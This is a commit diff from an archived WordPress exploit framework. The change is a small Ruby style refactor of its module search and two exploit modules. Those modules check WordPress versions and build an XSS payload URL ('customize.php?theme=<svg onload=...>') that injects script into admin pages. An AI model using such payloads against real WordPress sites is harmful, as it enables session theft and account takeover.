This repository was archived by the owner on Oct 22, 2020. It is now read-only.
File tree Expand file tree Collapse file tree 3 files changed +14
-7
lines changed
Expand file tree Collapse file tree 3 files changed +14
-7
lines changed Original file line number Diff line number Diff line change @@ -40,13 +40,20 @@ def use(module_path)
4040 refresh_autocomplete_options
4141 end
4242
43+ def module_name_from_class ( klass )
44+ klass . new . module_name
45+ end
46+
4347 def search_modules ( args )
4448 pattern = /#{ args . map { |m | Regexp . escape ( m ) } . join ( '|' ) } /i
4549 module_list = Wpxf ::Auxiliary . module_list + Wpxf ::Exploit . module_list
4650
4751 results = [ ]
4852 module_list . select { |m | m [ :name ] =~ pattern } . each do |mod |
49- results . push ( path : mod [ :name ] , title : mod [ :class ] . new . module_name )
53+ results . push (
54+ path : mod [ :name ] ,
55+ title : module_name_from_class ( mod [ :class ] )
56+ )
5057 end
5158
5259 results
Original file line number Diff line number Diff line change @@ -33,7 +33,7 @@ def check
3333 version = wordpress_version
3434 return :unknown if version . nil?
3535 return :vulnerable if version < Gem ::Version . new ( '4.3.1' )
36- return :safe
36+ :safe
3737 end
3838
3939 def run
@@ -48,6 +48,6 @@ def run
4848 puts
4949
5050 start_http_server
51- return @success
51+ @success
5252 end
5353end
Original file line number Diff line number Diff line change @@ -29,12 +29,12 @@ def check
2929 version = wordpress_version
3030 return :unknown if version . nil?
3131 return :vulnerable if version == Gem ::Version . new ( '4.4' )
32- return :safe
32+ :safe
3333 end
3434
3535 def url_with_xss
36- url = normalize_uri ( wordpress_url_admin , " customize.php" )
37- url += "?theme=<svg onload=#{ xss_ascii_encoded_include_script } >"
36+ url = normalize_uri ( wordpress_url_admin , ' customize.php' )
37+ url + "?theme=<svg onload=#{ xss_ascii_encoded_include_script } >"
3838 end
3939
4040 def run
@@ -47,6 +47,6 @@ def run
4747 puts
4848
4949 start_http_server
50- return @success
50+ @success
5151 end
5252end
You can’t perform that action at this time.
0 commit comments